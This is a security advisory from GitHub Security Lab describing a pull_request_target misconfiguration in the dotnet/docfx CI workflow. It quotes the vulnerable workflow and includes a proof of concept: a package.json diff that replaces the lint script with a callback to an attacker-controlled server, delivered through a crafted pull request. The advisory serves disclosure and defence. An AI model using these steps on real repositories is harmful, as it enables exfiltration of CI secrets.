Coordinated Disclosure Timeline

  • 2024-03-12: Report sent to MSRC.
  • 2024-03-18: Token is deemed as non-confidential and issue is closed as informative.
  • 2024-07-17: Even if the issue is deemed not exploitable, this advisory is published for educational purposes.

Summary

Insecure usage of pull_request_target makes docfx repository vulnerable to secrets exfiltration.

Project

dotnet/docfx

Tested Version

2.75.3

Details

Untrusted checkout leading to secrets exfiltration from a Pull Request in CI workflow (GHSL-2024-030)

The pull_request_target trigger event used in ci.yml GitHub workflow explicitly checks out the head of the Pull Request and therefore code controlled by an attacker and runs it.

name: ci
on:
  pull_request_target:
    branches: [ main, feature/*, hotfix/* ]
  push:
    branches: [ main, feature/*, hotfix/* ]

jobs:
  test:
    runs-on: ${{ matrix.os }}
    environment: ci
    strategy:
      fail-fast: false
      matrix:
        os: [windows-latest, macos-latest, ubuntu-latest]
    steps:
    - uses: actions/checkout@v4
      with:
        ref: ${{github.event.pull_request.head.ref}}
        repository: ${{ github.event.pull_request.head.repo.full_name }}
        lfs: true

    - uses: ./.github/actions/build

    - run: npm run lint
      shell: bash
      working-directory: templates
...

    - run: percy exec -- dotnet test -c Release -f net8.0 --filter Stage=Percy --no-build --collect:"XPlat Code Coverage"
      if: matrix.os == 'ubuntu-latest'
      env:
        PERCY_TOKEN: ${{ secrets.PERCY_TOKEN }}
...

By explicitly checking out and running a code from a fork, the untrusted code is running in an environment that is able to access secrets. See Preventing pwn requests for more information.

An attacker could create a pull request with a malicious templates/packages.json file which would execute arbitrary commands in the runner gaining access to the secrets shared with the workflow (eg: secrets.PERCY_TOKEN).

This vulnerability was found using the Checkout of untrusted code in trusted context CodeQL query.

Proof Of Concept (PoC)

To verify the vulnerability follow the following steps:

  • Clone the repo: gh repo clone dotnet/docfx.
  • Edit templates/package.json and apply the following diff (replace YOUR-CONTROLLED-SERVER with your own request catcher server): ```diff diff –git a/templates/package.json b/templates/package.json index d3899b5c3..c2fd342b5 100644 — a/templates/package.json +++ b/templates/package.json @@ -13,7 +13,7 @@ ], “scripts”: { “build”: “node build.js”,
  • “lint”: “eslint modern/src && stylelint modern/src”,
  • “lint”: “nslookup YOUR-CONTROLLED-SERVER”, “test”: “jest”, “start”: “node build.js –watch” },

```

  • Create a new branch: git checkout -b add_new_test.
  • Stage modified file: git add templates/package.json.
  • Commit change: git commit -m "fix(templates): Fix linter".
  • Send PR: gh pr create and follow instructions on screen.
  • Once the PR is received, the ci.yml workflow should trigger which should result in the execution of npm run lint which will execute the payload and will send a request to the attacker-controlled server.

Impact

Running untrusted code with a privileged repository token and access to secrets may lead to an unauthorized repository modification or exfiltration of the secrets. Please note that this allows for exfiltration of the secrets.PERCY_TOKEN.

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2024-030 in any communication regarding this issue.